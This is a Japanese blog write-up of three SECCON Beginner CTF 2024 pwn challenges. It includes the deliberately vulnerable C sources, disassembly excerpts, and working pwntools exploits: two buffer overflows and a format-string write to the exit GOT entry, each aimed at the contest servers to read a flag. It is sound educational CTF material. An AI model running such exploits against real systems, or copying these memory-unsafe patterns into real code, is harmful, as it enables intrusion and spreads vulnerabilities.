0
0

SECCON Beginner CTF 2024 WriteUp

Last updated at Posted at 2024-06-17

はじめに

先日開催されたSECCON Beginner CTF 2024に参加しました。今回は解いたpwnableのWriteUpになります。

simpleoverflow

こちらは、題の通りシンプルなバッファオーバーフローを扱う問題です。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

bufが10バイトなのに対して、read関数では0x10バイト(=16バイト)分、標準入力から読んでいるので、bufに一定以上入力するとバッファオーバーフローしis_adminの値を書き換えてしまい、system("/bin/cat ./flag.txt");が実行されます。逆アセンブルしてみると、

0000000000401176 <main>:
  401176:	55                   	push   rbp
  401177:	48 89 e5             	mov    rbp,rsp
  40117a:	48 83 ec 10          	sub    rsp,0x10
  40117e:	48 c7 45 f2 00 00 00 	mov    QWORD PTR [rbp-0xe],0x0
  401185:	00 
  401186:	66 c7 45 fa 00 00    	mov    WORD PTR [rbp-0x6],0x0
  40118c:	c7 45 fc 00 00 00 00 	mov    DWORD PTR [rbp-0x4],0x0
  401193:	48 8d 05 6a 0e 00 00 	lea    rax,[rip+0xe6a]   

となり、bufはメモリ上で[rbp-0xe]から[rbp-0x5]までの10バイト、is_adminは[rbp-0x4]から[rbp-0x1]までの4バイトに位置しているのが分かるので、bufに11バイト以上入力すればis_adminの値を書き換えることができそうです。また、is_adminは0以外の値になれば何でもflagが読めるため適当に入力を与えればflagを入手できます。

import pwn

host = "simpleoverflow.beginners.seccon.games"
port = 9000
io = pwn.remote(host=host,port=port)

print(io.recvuntil(b'name:'))

payload = pwn.flat(
    b'A' * 11,
    b'\n'   
)
io.send(payload)

print(io.recvall(timeout=1))

io.close()

こちらでflagを入手できました。

simpleoverwrite

こちらもその題の通り、シンプルなリターンアドレスの書き換えになります。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

コードを読むと、bufが10バイトに対して、read関数で20バイト受け付けています。そのため、10バイト以上入力を与えるとバッファオーバーフローを起こします。そして、リターンアドレスを書き換えることで、win関数に処理を遷移させflagを入手することができます。また、問題で与えられたELFファイルはPIEが無効になっているので、win関数のアドレスに直接書き換えるだけで良さそうです。逆アセンブルすると、

0000000000401186 <win>:

と、win関数のアドレスは0x401186だと分かるので、リターンのアドレスをそれに書き換えます。また、

00000000004011cf <main>:
  4011cf:	55                   	push   rbp
  4011d0:	48 89 e5             	mov    rbp,rsp
  4011d3:	48 83 ec 10          	sub    rsp,0x10
  4011d7:	48 c7 45 f6 00 00 00 	mov    QWORD PTR [rbp-0xa],0x0
  4011de:	00 
  4011df:	66 c7 45 fe 00 00    	mov    WORD PTR [rbp-0x2],0x0

であり、bufにはメモリ上で[rbp-0xa]から[rbp-0x1]までの10バイトが割り当てられています。

import pwn

pwn.context.arch = 'x86-64'

host = 'simpleoverwrite.beginners.seccon.games'
port = 9001

addr = {}
addr['win'] = 0x401186

io = pwn.remote(host=host,port=port)

print(io.recvuntil(b'input:'))

payload = pwn.flat(
    b'A' * 10,
    pwn.pack(0),
    pwn.pack(addr['win']),
    b'\n'
)

io.send(payload)
print(io.recvall(timeout=1))
io.close()

こちらでflagを入手できました。

pure-and-easy

こちらは、FSBの問題です。FSBについてはこちらを参照してください。
https://qiita.com/hachan0179/items/ff6053039353dbf53d8f

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

問題を見ると、先程のようなバッファオーバーフローはありませんが、printf関数でユーザーからの入力の文字列をそのまま第1引数として与えてしまっており、書式文字列攻撃(FSB)ができます。書き換える対象は、got上のexit関数のアドレスです。こちらを、win関数のアドレスに書き換えます。逆アセンブルから、

0000000000401341 <win>:

win関数のアドレスが0x401341だとわかります。また、gotのexit関数のアドレスはgdbや、IDAなどで調べてみると0x404040です。今回は、書き込む値が数値としてあまり大きくないので、愚直に0x401341(=4199233)個分空白文字を吐かせています。また、PIEも無効のためこの数値をそのまま使います。

import pwn

host = 'pure-and-easy.beginners.seccon.games'
port = 9000

pwn.context.arch = 'x86-64'

addr = {}
addr['win'] = 0x401341
addr['got_exit'] = 0x404040

io = pwn.remote(host=host,port=port)
print(io.recvuntil(b'> '))

msg = pwn.flat(
    b'%' + str(addr['win']).encode() + b'c',
    b'%8$n   ',
    pwn.pack(addr['got_exit']),
    b'\n'
)

io.send(msg)
print(io.recvall(timeout=3))
io.close() 

こちらで、flagを入手できました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0